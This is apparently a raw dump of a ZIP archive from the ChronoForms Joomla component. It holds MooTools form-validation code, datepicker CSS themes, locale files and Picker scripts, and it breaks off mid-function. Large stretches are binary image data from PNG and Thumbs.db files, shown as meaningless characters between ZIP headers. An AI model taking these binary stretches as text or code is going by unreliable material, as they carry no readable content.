if(tabCounter == selectedPanel){ tab.addClass('open'); tab.removeClass('closed'); }else{ tab.addClass('closed'); tab.removeClass('open'); } tabCounter = tabCounter + 1; //remove error when changing tab tab.addEvent('click', function(){ this.removeError(el); }.bind(this)); }, this); } } found = 1; } } } }, this); }, fixSliders: function(){ var found = 0; var PanelIndex = 0; this.validations.each(function(el) { if(found != 1){ var validation = this.manageError(el,'testonly'); if(!validation && (el.validation.contains('required') == false) && el.value.trim() == ''){ //do nothing }else{ if(!validation){ //found invalid field, switch to its panel var parentPanel = el.getParents('div.pane-slider'); if(parentPanel.length > 0){ //check if this field is inside a tabs section if(parentPanel[0].getParent('div').getParent('div').hasClass('pane-sliders')){ //show the parent Panel body parentPanel[0].getParent('div').getParent('div.pane-sliders').getChildren('div.panel').each(function(tabBody){ if(tabBody.getFirst('div.pane-slider') == parentPanel[0]){ tabBody.getFirst('div.pane-slider').removeClass('pane-hide'); tabBody.getFirst('div.pane-slider').addClass('pane-down'); tabBody.getFirst('div.pane-slider').setStyle('height', 'auto'); tabBody.getFirst('h3.title').removeClass('pane-toggler'); tabBody.getFirst('h3.title').addClass('pane-toggler-down'); }else{ tabBody.getFirst('div.pane-slider').addClass('pane-hide'); tabBody.getFirst('div.pane-slider').setStyle('height', '0px'); tabBody.getFirst('div.pane-slider').removeClass('pane-down'); tabBody.getFirst('h3.title').addClass('pane-toggler'); tabBody.getFirst('h3.title').removeClass('pane-toggler-down'); } }); } } found = 1; } } } }, this); } });PKGy>\'com_chronoforms/js/formcheck/index.htmlnuW+APKGy>\A묲1com_chronoforms/js/formcheck/formcheck-customs.jsnuW+Afunction noEnglishAlpha(el){ if(!el.value.test(/^[a-z ._-]+$/i)){ el.errors.push("This field accepts alphabetic characters only."); return false; }else{ return true; } }PKGy>\7d@com_chronoforms/js/datepicker_moo/datepicker_dashboard/Thumbs.dbnuW+Aࡱ>  Root EntryG256_3c74af06d052af2a*A256_b960989648c08347*   !"#$%&'()*+,-./0123456789:;<=>?@ABCDEF)\ &i JFIFC  !"$"$C&" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?/ٟ͟ŝjt?\֭.pUUxtOG/@5-7S 7ל F狮uAgU0;Y\mda [X.ט^ͦ^o{kW/I m-HB €=>_CYk:mңY0Gm!T㞴 6.!Yڏiyov:\DV)#ngo%),O\PԐxS%(%cAQV*g/Ԫw:~ 0ڦi)Z߀|5i>|AcYu+Ǵc^дO_.,.5KŦش*g1vI!I5PY]Le.Y5wz}kAMz?״=kY]h^(#;"8YDR0%\!INw^eEo;9V sCЉPNG  IHDRkQsRGBgAMA a IDATx^kT|h+4⽈xSA ^^x$@Jo /? 9֋+~@ "xbhmMyšfwlXd&3{>kޏ7C` @h1&KoavlWؘ̢˦7ӌzuՌ>˛|5HV]1,+vj?Ygj?ގŦQk[: #7훯>踲cbZK5MizES {E_o}?]UſF{mϪN@T85p9rd"Z sss?~уΟ?ϥ1h:I"kQcWǾ+W\8}_CooolI`aa!χpϝ;w)?5_i]^ =4m`||'N|sʁ3% 7~`` ~:<}4LNN~366]lFDk"-/5퓉o?۳gOo߾/SdϦnY֭[+/O_E4Mj#@^ ?iA>m͛?ă={í[Ç+g>N:޽{+ٿ"c:hiVDs hNMMomٲ"k׮w8g blبVVVlyy95u8~x8sL`޽ ?D%R;kn D d( zj.] /_԰TnA Mr!޽;\pI[z*Cjitoͅ@-5$i.8q&YnL /|H9*6x&^So+bw@8H!@ vq$B#@ IhGرdzAюcg$b I"D;Ď=@ Dv{<; @$ ;xv@8H!@ vq$B#@ IhGرdzAюcg$b I"D;Ď=@ Dv{<; @$ ;xv@8H!@ vq$B#@ IhGرdzAюcg$b I"D;Ď=@ Dv{<; @$ ;xv@8H!@ vq$B#@ IhGرdzAюcg$b I"D;Ď=@ Dv{<; @$ ;xv@8H!@ vq$B#@ IhGرdzAюcg$b I"D;Ď=@ Dv鈡z3J@WK/$kk85_O +1dFm%аI_\-5DAj]5f`h4Kvm%ZOY嘳Xmμ@ 2Fm%@ڊg o#޶@ mō3o]I @Au{\F~~Bcom_chronoforms/js/datepicker_moo/datepicker_dashboard/buttons.pngnuW+APNG  IHDR&jϬ2PLTE  BQ%,QQQ,,,u4?CCCp???‘7C444?Mo!oNNNn 333MMM+4!!! ſ l&&&jg}i &+3  l @N S|IDATxڵNQ.{GE콁]lJ9/ ^w:;'A]ٍ휝u%vIi)!r(9!F6I,8\"W%gXB~)8Ҏ``fUʂ ?\͆?r2;8s9[lsѐM @ia+o#uWBL=@ 6$' 9o W~'\ãoIENDB`PKGy>\|RROcom_chronoforms/js/datepicker_moo/datepicker_dashboard/datepicker_dashboard.cssnuW+A.datepicker_dashboard { position: absolute; font-size: 10px; font-family: "Lucida Grande", LucidaGrande, "Lucida Sans", Geneva, Verdana, sans-serif; color: #fff; line-height: normal; width: 172px; height: 135px; padding: 14px; background: url(frame.png) no-repeat; } /* header ********************************************************/ .datepicker_dashboard .header { position: relative; height: 15px; margin-bottom: 5px; padding-top: 1px; } .datepicker_dashboard .header .title { text-align: center; margin: 2px 18px 0 18px; } .datepicker_dashboard .header .titleText { color: #ccff00; } .datepicker_dashboard .header .previous, .datepicker_dashboard .header .next, .datepicker_dashboard .header .closeButton { position: absolute; cursor: pointer; text-indent: -40px; overflow: hidden; width: 12px; height: 12px; top: 2px; background-image: url(buttons.png); background-position: left top; background-repeat: no-repeat; } .datepicker_dashboard .header .previous { left: 4px; } .datepicker_dashboard .header .previous:hover { background-position: left bottom; } .datepicker_dashboard .header .next { right: 4px; background-position: -13px top; } .datepicker_dashboard .header .next:hover { background-position: -13px bottom; } .datepicker_dashboard .header .closeButton { display: none; right: 0px; top: 0px; background-position: right top; } .datepicker_dashboard .header .closeButton:hover { background-position: right bottom; } /* body ********************************************************/ .datepicker_dashboard .body { position: relative; top: 0px; left: 2px; width: 168px; height: 112px; overflow: hidden; } /* time ********************************************************/ .datepicker_dashboard .time { position: relative; width: 100%; height: 100%; } .datepicker_dashboard .time .hour, .datepicker_dashboard .time .separator, .datepicker_dashboard .time .minutes { background: #333; border: 0px; width: 50px; font-size: 32px; color: #fff; position: absolute; top: 10px; text-align: center; padding: 2px; } .datepicker_dashboard .time .hour { left: 15px; } .datepicker_dashboard .time .separator { background: transparent; width: 10px; left: 76px; } .datepicker_dashboard .time .minutes { left: 95px; } .datepicker_dashboard .time .ok { position: absolute; top: 65px; height: 32px; width: 136px; left: 15px; font-size: 20px; } /* days-grid ********************************************************/ .datepicker_dashboard .days .day { float: left; text-align: center; overflow: hidden; width: 23px; padding-top: 1px; height: 14px; margin: 0 1px 1px 0; font-weight: normal; } .datepicker_dashboard .days .titles { height: 15px; margin-bottom: 2px; text-transform: uppercase; color: #aaa; } .datepicker_dashboard .days .day0 { margin-right: 0; } .datepicker_dashboard .days .week5 .day { margin-bottom: 0; } /* days-colors ********************************************************/ .datepicker_dashboard .days .week .day { cursor: pointer; } .datepicker_dashboard .days .week .day:hover { color: #ccff00; } .datepicker_dashboard .days .otherMonth { color: #444444; } .datepicker_dashboard .days .selected { color: #ccff00; } /* months-grid ********************************************************/ .datepicker_dashboard .months .month { float: left; cursor: pointer; text-align: center; padding-top: 6px; width: 55px; overflow: hidden; height: 21px; margin: 0 1px 1px 0; } .datepicker_dashboard .months .month3, .datepicker_dashboard .months .month6, .datepicker_dashboard .months .month9, .datepicker_dashboard .months .month12 { margin-right: 0; } .datepicker_dashboard .months .month10, .datepicker_dashboard .months .month11, .datepicker_dashboard .months .month12 { margin-bottom: 0; } /* months-colors ********************************************************/ .datepicker_dashboard .months .month:hover { color: #ccff00; } .datepicker_dashboard .months .selected { color: #ccff00; } /* years-grid ********************************************************/ .datepicker_dashboard .years .year { float: left; cursor: pointer; text-align: center; padding-top: 6px; width: 32px; overflow: hidden; height: 21px; margin: 0 1px 1px 0; } .datepicker_dashboard .years .year4, .datepicker_dashboard .years .year9, .datepicker_dashboard .years .year14, .datepicker_dashboard .years .year19 { margin-right: 0; } .datepicker_dashboard .years .year15, .datepicker_dashboard .years .year16, .datepicker_dashboard .years .year17, .datepicker_dashboard .years .year18, .datepicker_dashboard .years .year19 { margin-bottom: 0; } /* years-colors ********************************************************/ .datepicker_dashboard .years .year:hover { color: #ccff00; } .datepicker_dashboard .years .selected { color: #ccff00 } /* global ********************************************************/ .datepicker_dashboard .unavailable { color: #533 !important; cursor: default !important; text-decoration: line-through; } .datepicker_dashboard table { border-spacing: 0; } .datepicker_dashboard th, .datepicker_dashboard tr, .datepicker_dashboard td { padding: 0; border: none; } PKGy>\)@com_chronoforms/js/datepicker_moo/datepicker_dashboard/.htaccessnuW+A Order allow,deny Deny from all PKGy>\K6'''@com_chronoforms/js/datepicker_moo/datepicker_dashboard/frame.pngnuW+APNG  IHDR5tEXtSoftwareAdobe ImageReadyqe<;PLTEź """$$$%%%&&&(((+++,,,---...///111222999???ZZZ[[[^^^```]?tRNS !"&*,./01239::BGHJKLMNOPQRSTDp7IDATxyO@p9]9rH9DTnsWQE{u'u) ׄ<S2~)2<##?f.cXXZk=ۡ7r6)":%l2*c(5]af9^qL]ryS>~ȁ`(Cʺ²oݳdM]~Ec}&fR'Hgx!N*  =+: na茼Y\E,k37A=X^_vNB ˱:##$ޠBVWxk5T=[ F2jD]|^A(r펭G\Acom_chronoforms/js/datepicker_moo/datepicker_dashboard/index.htmlnuW+APKGy>\;pp<com_chronoforms/js/datepicker_moo/Locale.es-ES-DatePicker.jsnuW+A/* --- name: Locale.es-ES.DatePicker description: Spanish Language File for DatePicker authors: Juan Lago D. requires: [More/Locale] provides: Locale.es-ES.DatePicker ... */ Locale.define('es-ES', 'DatePicker', { select_a_time: 'Selecciona una fecha', use_mouse_wheel: 'Utiliza la rueda del raton para cambiar rapidamente de valor', time_confirm_button: 'OK' }); PKGy>\#<com_chronoforms/js/datepicker_moo/Locale.it-IT.DatePicker.jsnuW+A/* --- name: Locale.it-IT.DatePicker description: Italian Language File for DatePicker authors: danielec (https://github.com/danielec) requires: [More/Locale] provides: Locale.it-IT.DatePicker ... */ Locale.define('it-IT', 'DatePicker', { select_a_time: 'Scegli un orario', use_mouse_wheel: 'Utilizza la rotellina del mouse per cambiare valore velocemente', time_confirm_button: 'OK' }); PKGy>\=com_chronoforms/js/datepicker_moo/datepicker_vista/index.htmlnuW+APKGy>\x<com_chronoforms/js/datepicker_moo/datepicker_vista/frame.pngnuW+APNG  IHDR5gAMAOX2tEXtSoftwareAdobe ImageReadyqe<dPLTE)))XXX^^^___kkkkkkppprrrrrrvvvwwwxxxxxx[ZX\[Y]\Z^][_^\`_]a`^a`_cb`dcadcbddbedbeecgfdhgfjigkkikkjlkjllkmlkonlppnrqprqqrrqrrrtsrvutvvvwvvwwuyywyyy{zy}|{~~~~}p&#tRNS  #%&,cpsѓKIDATxAnAEU$, G˚SC`!H(%LbŌK5 XRx.?(9WAD$H$ww=J9,Hy%HJ9o6y\|ݼT%)5VR~tmW_TMx]67f^UirHFT <]9`"G7@>8:a[WU={TU!KE =PǴt2z3e-U滲SS0#V~ٵh-Z !HZ(w(h{RDBȈAh-ZĴ.#ȃ=61<|)!AʈKEȚ(2l ;NE"TP*>Zai-ZZZ"T֢h-]h~0@k |"i-f֢h-Z֢BUafdMvvC#EVVTDnx'rzt)6"ACF2#AaȊK᭻{qQaf8lR4d61H˟uqp~/&_7Ty7B̚}s3G/c^uf>a,VP~*b 4? tRj]DZ\<+Y,~+{IENDB`PKGy>\]jGcom_chronoforms/js/datepicker_moo/datepicker_vista/datepicker_vista.cssnuW+A.datepicker_vista { position: absolute; font-size: 10px; font-family: Tahoma, sans-serif; color: #000; line-height: normal; width: 172px; height: 135px; padding: 14px; background: url(frame.png) no-repeat; } /* header ********************************************************/ .datepicker_vista .header { position: relative; height: 15px; margin-bottom: 5px; padding-top: 1px; } .datepicker_vista .header .title { text-align: center; margin: 0 18px 0 18px; } .datepicker_vista .header .titleText { } .datepicker_vista .header .previous, .datepicker_vista .header .next, .datepicker_vista .header .closeButton { position: absolute; cursor: pointer; text-indent: -40px; overflow: hidden; width: 12px; height: 12px; top: 2px; background-image: url(buttons.png); background-position: left top; background-repeat: no-repeat; } .datepicker_vista .header .previous { left: 4px; } .datepicker_vista .header .previous:hover { background-position: left bottom; } .datepicker_vista .header .next { right: 4px; background-position: -13px top; } .datepicker_vista .header .next:hover { background-position: -13px bottom; } .datepicker_vista .header .closeButton { display: none; right: 0px; top: 0px; background-position: right top; } .datepicker_vista .header .closeButton:hover { background-position: right bottom; } /* body ********************************************************/ .datepicker_vista .body { position: relative; top: 0px; left: 2px; width: 168px; height: 112px; overflow: hidden; } /* time ********************************************************/ .datepicker_vista .time { position: relative; width: 100%; height: 100%; } .datepicker_vista .time .hour, .datepicker_vista .time .separator, .datepicker_vista .time .minutes { border: 1px solid #ccc; background: #fff; width: 50px; font-size: 32px; position: absolute; top: 10px; text-align: center; padding: 2px; } .datepicker_vista .time .hour { left: 15px; } .datepicker_vista .time .separator { background: transparent; border: 0px; width: 10px; left: 76px; } .datepicker_vista .time .minutes { left: 95px; } .datepicker_vista .time .ok { position: absolute; top: 65px; width: 136px; left: 15px; font-size: 20px; } /* days-grid ********************************************************/ .datepicker_vista .days .day { float: left; text-align: center; overflow: hidden; width: 23px; height: 15px; margin: 0 1px 1px 0; } .datepicker_vista .days .titles { height: 15px; border-bottom: 1px solid #e0e0e0; margin-bottom: 1px; } .datepicker_vista .days .day0 { margin-right: 0; } .datepicker_vista .days .week5 .day { margin-bottom: 0; } /* days-colors ********************************************************/ .datepicker_vista .days .week .day { cursor: pointer; } .datepicker_vista .days .week .day:hover { background: url(days.png) left top no-repeat; color: #0084AA; } .datepicker_vista .days .otherMonth { color: #aaa; } .datepicker_vista .days .selected { background: url(days.png) left bottom no-repeat; color: #316879; } /* months-grid ********************************************************/ .datepicker_vista .months .month { float: left; cursor: pointer; text-align: center; padding-top: 6px; width: 55px; overflow: hidden; height: 21px; margin: 0 1px 1px 0; } .datepicker_vista .months .month3, .datepicker_vista .months .month6, .datepicker_vista .months .month9, .datepicker_vista .months .month12 { margin-right: 0; } .datepicker_vista .months .month10, .datepicker_vista .months .month11, .datepicker_vista .months .month12 { margin-bottom: 0; } /* months-colors ********************************************************/ .datepicker_vista .months .month:hover { background: url(months.png) left top no-repeat; color: #0084AA; } .datepicker_vista .months .selected { background: url(months.png) left bottom no-repeat; color: #316879; } /* years-grid ********************************************************/ .datepicker_vista .years .year { float: left; cursor: pointer; text-align: center; padding-top: 6px; width: 32px; overflow: hidden; height: 21px; margin: 0 1px 1px 0; } .datepicker_vista .years .year4, .datepicker_vista .years .year9, .datepicker_vista .years .year14, .datepicker_vista .years .year19 { margin-right: 0; } .datepicker_vista .years .year15, .datepicker_vista .years .year16, .datepicker_vista .years .year17, .datepicker_vista .years .year18, .datepicker_vista .years .year19 { margin-bottom: 0; } /* years-colors ********************************************************/ .datepicker_vista .years .year:hover { background: url(years.png) left top no-repeat; color: #0084AA; } .datepicker_vista .years .selected { background: url(years.png) left bottom no-repeat; color: #316879; } /* global ********************************************************/ .datepicker_vista .unavailable { background: none !important; color: #fbb !important; cursor: default !important; } .datepicker_vista table { border-spacing: 0; } .datepicker_vista th, .datepicker_vista tr, .datepicker_vista td { padding: 0; border: none; } PKGy>\ȼ>com_chronoforms/js/datepicker_moo/datepicker_vista/buttons.pngnuW+APNG  IHDR&jϬYPLTE<Cз}@Y!\#)eS83pRN)͵DZkIENDB`PKGy>\)<com_chronoforms/js/datepicker_moo/datepicker_vista/.htaccessnuW+A Order allow,deny Deny from all PKGy>\vi;com_chronoforms/js/datepicker_moo/datepicker_vista/days.pngnuW+APNG  IHDR;PLTE煦鏭Ӣ󒯸鐮ֈԶ21IDATxmE1wp3ۼt- 4a4ݶM)lٖq6v@VŸ%i LŸιa;;FU״ 0=zBDי2ͮLzq ojWmڅJJTF$Q ^_(mmd1'h><(a8?W-EpǑ|IENDB`PKGy>\ ``<com_chronoforms/js/datepicker_moo/datepicker_vista/years.pngnuW+APNG  IHDR 7ZwPLTE煦􇨲ڒ򈨲YIDATx}SbQv2\Vxk/ &âKE;Y#> ~NRbX$Ea^bI ñp 1I úp#1J Åİ&1H?~>BчŨ?T}A=e0A W8g6ҞҍA^(pBօ3'9pf$aVbXN% aSb$ILbؕ$JbX%mɁx.aY|(6 ?0\ձ)RzIENDB`PKGy>\0B**<com_chronoforms/js/datepicker_moo/datepicker_vista/Thumbs.dbnuW+Aࡱ>  Root Entry`G256_3c74af06d052af2a*256_1ccdaa82cd83bc6(256_b960989648c08347*$   !"#%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRTUVWXYZ[\]^_`abcdefghjklmnopqrstuvwxyzȋJFIFC  !"$"$C&" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?_/|(OfkW+y:Gz..|9q47;5'ɫ:t|9ᩬʓ*ϫPیzk9M4MlZ̏A 瀘r1n57]uG~}+1~|O5][Lv햱E(h~UI=ڦ$:ˏ 0kG‘6ZH.`KUXRB# #W6Ҍ;/?Ig~͟%hW]2e#3_}lWO[|#j,S: ,U\mz7n?+ls/UH!?G| Hmf)YI HB%ddHEzErHSU>9 JFIFC  !"$"$C" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?ssK"fCqARy:wߥ ŞŻxIo,m `8 i4 Ou`*xlrvt%:Bh-(1h98h\xÚ6+}5nzQR𒎒&\pFiz4u&=]\“I%BFqpp i W;~ #UZƱcc0pPx gyÿ25rˡ֧-,}[F*TEp {Eg^OF'Z]I X;NH<{sw {źSPNG  IHDRkQsRGBgAMA a *IDATx^o{f+Y"+ ="GA9EX)nFk표VH@(B"pdqd&`clgܦܞtW}ZzrSާU'I @<thO_Oџ;ϳ4/4g?'i'41g-c$nxF ci"hr3v QZ%H*~MOĆIzܛ4;rն5i&DůqDlDll~~뙙KCCC_jϼNc#zo~S{+n7It۲ N49FϜ9ivv7hr䈾rx]%ϟ?~yyϏ=QtdoM=t 5*vʕ+ߜ>}2z^C "ɓ'Oy׻IӭQU /_N:T*,Z4ӧǏpHb[nv}Z MMMNVIZI i@$.Fi/'Ccb RK&Z۰A$>KNsX닋g兟TZl,;qڵ'Νט5;E 'O ^B@<{,{nEv޽o/t )V4;V+luu5x"ɁJG@vUY]x0Th}P]pVQdo&Ӡ RhKdV C KtM X ɃI4$  #HMVbp5y[5YsXa #`5X1]%&qU)G+1\WӺ q@! 9@/˼b! `?XNީ>-A z6C?\Mg B! ҟ,}%@7'+ "JVjehEմw) "=@}D=uEVAJ8zhjK; XtAYH3%"/A乼UJW!Жi:HE!s'B!!XtM u9[xKI9!/C ` @`qh|rDhݵq,MF",bE#H4%Hմm R7",bESz#i8J"i~דc!"佼ٵPq,f7DS.o˼EyB\ I,y\M~5%E˼rIñOp5 o#<=)VYz?` % He{LޖyMYѱ,Ba}NF\B`,fk]A*Dqv28&7]Toi,=Dx~B i(Rt<\IN=:S]Xr<B}D}LcQ/Xx{! A:vwKC sCBkBc @э+$HnH zE_8x^CMۅBK +]T^{^NƱ xA, u.@ Xt"=B[n/qx `u[Mr7GM@`}e(x8C2/:$s+X%,\?oS,˷?LXtaW Gb=tA u!#8[)ށb^'_"QG@)$IٙOe7o6;w$# fU6Ej@T2Xcb nGK'j6Q @CFuWRIffOn...\^Iػl|"/z?_/E0p 'G}zƍOVÀNjsss_iֱA T'>xĨ&T+ :U s##g߾ qELZw֭ ؾZ7矟>~e@Y ԤvINQ7_^^ /wGn셗A)Z=33sIkgTY7+++.-- D(׺C C%H:$Ѣ}1]-]n`F )t5NR59}K&DqM#}h $dp-}uln"0r 2pGtQ @*IENDB`HeJJFIFC  !"$"$C77" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJ256_8873c61f5121430c*S`256_4fff5836210663d5*iWSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?+kX.aie@.{sҤ>V¨Mq/?^ V'>Vk~*?ޏ?ޗ$C?K}O+_PyyrH=; '8eػCd:\ +XR^LDR\[D=Ҥ-O$iRY rǼg)?A_ ߉ƺL?Z#/h{{W"+7o cM4~/W~' _;ޏ;޲A_ ߉ƏE#Woa?wR8bY>[ eH"U)_ݚ"oO&V?I'cGDžNPĘ֖?V^CZ񖈽QU66^(*GE6?J*ćςsыEtVÉw]5;@Ig6XX8Q<34g?(4ԕ:q]?G ?#dhA ?#dhß24QG{y]ZmH2HTݓ8Z(NjǚG?y[Ό8JFIFC  !"$"$C7 " }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?+kX.aie@.{sҤ>V¨Mq/?^ V'>V£[hcXkstyٱ#B֍3ŴC*O;޲DM曨}-e%g,{~Q+OQN“kT)/h{wRQ~o cM4xN"R|>bM?x2cC@jִ@(?VX9 kkSՌE2ki:T6 0X}x%ME\P%PKGy>\eii=com_chronoforms/js/datepicker_moo/datepicker_vista/months.pngnuW+APNG  IHDR77"tPLTE煦鏭ՒڟӶҋ0[ IDATxڝSbQ۶tض2-:næn9ĒݏWn2H.AyoAw;T(| sߤo_U]+|W ߺTLHήwTpr6raL7M;Du~“]!` +\Ȋ<com_chronoforms/js/datepicker_moo/Locale.en-US.DatePicker.jsnuW+A/* --- name: Locale.en-US.DatePicker description: English Language File for DatePicker authors: Arian Stolwijk requires: [More/Locale] provides: Locale.en-US.DatePicker ... */ Locale.define('en-US', 'DatePicker', { select_a_time: 'Select a time', use_mouse_wheel: 'Use the mouse wheel to quickly change value', time_confirm_button: 'OK', apply_range: 'Apply', cancel: 'Cancel', week: 'Wk' }); PKGy>\ kk<com_chronoforms/js/datepicker_moo/Locale.de-DE.DatePicker.jsnuW+A/* --- name: Locale.de-DE.DatePicker description: German Language File for DatePicker authors: Bastian Bringenberg requires: [More/Locale] provides: Locale.de-DE.DatePicker ... */ Locale.define('de-DE', 'DatePicker', { select_a_time: 'Wähle eine Zeit', use_mouse_wheel: 'Mit dem Mausrad kannst du schneller die Werte ändern', time_confirm_button: 'OK' }); PKGy>\K"<com_chronoforms/js/datepicker_moo/Locale.en-GB.DatePicker.jsnuW+A/* --- name: Locale.en-US.DatePicker description: English Language File for DatePicker authors: Arian Stolwijk requires: [More/Locale] provides: Locale.en-US.DatePicker ... */ Locale.define('en-GB', 'DatePicker', { select_a_time: 'Select a time', use_mouse_wheel: 'Use the mouse wheel to quickly change value', time_confirm_button: 'OK', apply_range: 'Apply', cancel: 'Cancel', week: 'Wk' }); PKGy>\#brNN2com_chronoforms/js/datepicker_moo/Picker.Attach.jsnuW+A/* --- name: Picker.Attach description: Adds attach and detach methods to the Picker, to attach it to element events authors: Arian Stolwijk requires: [Picker, Core/Element.Event] provides: Picker.Attach ... */ Picker.Attach = new Class({ Extends: Picker, options: {/* onAttached: function(event){}, toggleElements: null, // deprecated toggle: null, // When set it deactivate toggling by clicking on the input */ togglesOnly: true, // set to false to always make calendar popup on input element, if true, it depends on the toggles elements set. showOnInit: false, // overrides the Picker option blockKeydown: true }, initialize: function(attachTo, options){ this.parent(options); this.attachedEvents = []; this.attachedElements = []; this.toggles = []; this.inputs = []; var documentEvent = function(event){ if (this.attachedElements.contains(event.target)) return; this.close(); }.bind(this); var document = this.picker.getDocument().addEvent('click', documentEvent); var preventPickerClick = function(event){ event.stopPropagation(); return false; }; this.picker.addEvent('click', preventPickerClick); // Support for deprecated toggleElements if (this.options.toggleElements) this.options.toggle = document.getElements(this.options.toggleElements); this.attach(attachTo, this.options.toggle); }, attach: function(attachTo, toggle){ if (typeOf(attachTo) == 'string') attachTo = document.id(attachTo); if (typeOf(toggle) == 'string') toggle = document.id(toggle); var elements = Array.from(attachTo), toggles = Array.from(toggle), allElements = [].append(elements).combine(toggles), self = this; var closeEvent = function(event){ var stopInput = self.options.blockKeydown && event.type == 'keydown' && !(['tab', 'esc'].contains(event.key)), isCloseKey = event.type == 'keydown' && (['tab', 'esc'].contains(event.key)), isA = event.target.get('tag') == 'a'; if (stopInput || isA) event.preventDefault(); if (isCloseKey || isA) self.close(); }; var getOpenEvent = function(element){ return function(event){ var tag = event.target.get('tag'); if (tag == 'input' && event.type == 'click' && !element.match(':focus') || (self.opened && self.input == element)) return; if (tag == 'a') event.stop(); self.position(element); self.open(); self.fireEvent('attached', [event, element]); }; }; var getToggleEvent = function(open, close){ return function(event){ if (self.opened) close(event); else open(event); }; }; allElements.each(function(element){ // The events are already attached! if (self.attachedElements.contains(element)) return; var events = {}, tag = element.get('tag'), openEvent = getOpenEvent(element), // closeEvent does not have a depency on element toggleEvent = getToggleEvent(openEvent, closeEvent); if (tag == 'input'){ // Fix in order to use togglers only if (!self.options.togglesOnly || !toggles.length){ events = { focus: openEvent, click: openEvent, keydown: closeEvent }; } self.inputs.push(element); } else { if (toggles.contains(element)){ self.toggles.push(element); events.click = toggleEvent } else { events.click = openEvent; } } element.addEvents(events); self.attachedElements.push(element); self.attachedEvents.push(events); }); return this; }, detach: function(attachTo, toggle){ if (typeOf(attachTo) == 'string') attachTo = document.id(attachTo); if (typeOf(toggle) == 'string') toggle = document.id(toggle); var elements = Array.from(attachTo), toggles = Array.from(toggle), allElements = [].append(elements).combine(toggles), self = this; if (!allElements.length) allElements = self.attachedElements; allElements.each(function(element){ var i = self.attachedElements.indexOf(element); if (i < 0) return; var events = self.attachedEvents[i]; element.removeEvents(events); delete self.attachedEvents[i]; delete self.attachedElements[i]; var toggleIndex = self.toggles.indexOf(element); if (toggleIndex != -1) delete self.toggles[toggleIndex]; var inputIndex = self.inputs.indexOf(element); if (toggleIndex != -1) delete self.inputs[inputIndex]; }); return this; }, destroy: function(){ this.detach(); return this.parent(); } }); PKGy>\E[[<com_chronoforms/js/datepicker_moo/Locale.pl-PL.DatePicker.jsnuW+A/* --- name: Locale.pl-PL.DatePicker description: Polish Language File for DatePicker authors: Tomek Wójcik requires: [More/Locale] provides: Locale.pl-PL.DatePicker ... */ Locale.define('pl-PL', 'DatePicker', { select_a_time: 'Wybierz czas', use_mouse_wheel: 'Użyj rolki myszy aby szybko zmienić wartość', time_confirm_button: 'OK' }); PKGy>\^$##+com_chronoforms/js/datepicker_moo/Picker.jsnuW+A/* --- name: Picker description: Creates a Picker, which can be used for anything authors: Arian Stolwijk requires: [Core/Element.Dimensions, Core/Fx.Tween, Core/Fx.Transitions] provides: Picker ... */ var Picker = new Class({ Implements: [Options, Events], options: {/* onShow: function(){}, onOpen: function(){}, onHide: function(){}, onClose: function(){},*/ pickerClass: 'datepicker', inject: null, animationDuration: 400, useFadeInOut: true, positionOffset: {x: 0, y: 0}, pickerPosition: 'bottom', draggable: true, showOnInit: true, columns: 1, footer: false }, initialize: function(options){ this.setOptions(options); this.constructPicker(); if (this.options.showOnInit) this.show(); }, constructPicker: function(){ var options = this.options; var picker = this.picker = new Element('div', { 'class': options.pickerClass, styles: { left: 0, top: 0, display: 'none', opacity: 0 } }).inject(options.inject || document.body); picker.addClass('column_' + options.columns); if (options.useFadeInOut){ picker.set('tween', { duration: options.animationDuration, link: 'cancel' }); } // Build the header var header = this.header = new Element('div.header').inject(picker); var title = this.title = new Element('div.title').inject(header); var titleID = this.titleID = 'pickertitle-' + String.uniqueID(); this.titleText = new Element('div', { 'role': 'heading', 'class': 'titleText', 'id': titleID, 'aria-live': 'assertive', 'aria-atomic': 'true' }).inject(title); this.closeButton = new Element('div.closeButton[text=x][role=button]') .addEvent('click', this.close.pass(false, this)) .inject(header); // Build the body of the picker var body = this.body = new Element('div.body').inject(picker); if (options.footer){ this.footer = new Element('div.footer').inject(picker); picker.addClass('footer'); } // oldContents and newContents are used to slide from the old content to a new one. var slider = this.slider = new Element('div.slider', { styles: { position: 'absolute', top: 0, left: 0 } }).set('tween', { duration: options.animationDuration, transition: Fx.Transitions.Quad.easeInOut }).inject(body); this.newContents = new Element('div', { styles: { position: 'absolute', top: 0, left: 0 } }).inject(slider); this.oldContents = new Element('div', { styles: { position: 'absolute', top: 0 } }).inject(slider); this.originalColumns = options.columns; this.setColumns(options.columns); // IFrameShim for select fields in IE var shim = this.shim = window['IframeShim'] ? new IframeShim(picker) : null; // Dragging if (options.draggable && typeOf(picker.makeDraggable) == 'function'){ this.dragger = picker.makeDraggable(shim ? { onDrag: shim.position.bind(shim) } : null); picker.setStyle('cursor', 'move'); } }, open: function(noFx){ if (this.opened == true) return this; this.opened = true; var picker = this.picker.setStyle('display', 'block').set('aria-hidden', 'false') if (this.shim) this.shim.show(); this.fireEvent('open'); if (this.options.useFadeInOut && !noFx){ picker.fade('in').get('tween').chain(this.fireEvent.pass('show', this)); } else { picker.setStyle('opacity', 1); this.fireEvent('show'); } return this; }, show: function(){ return this.open(true); }, close: function(noFx){ if (this.opened == false) return this; this.opened = false; this.fireEvent('close'); var self = this, picker = this.picker, hide = function(){ picker.setStyle('display', 'none').set('aria-hidden', 'true'); if (self.shim) self.shim.hide(); self.fireEvent('hide'); }; if (this.options.useFadeInOut && !noFx){ picker.fade('out').get('tween').chain(hide); } else { picker.setStyle('opacity', 0); hide(); } return this; }, hide: function(){ return this.close(true); }, toggle: 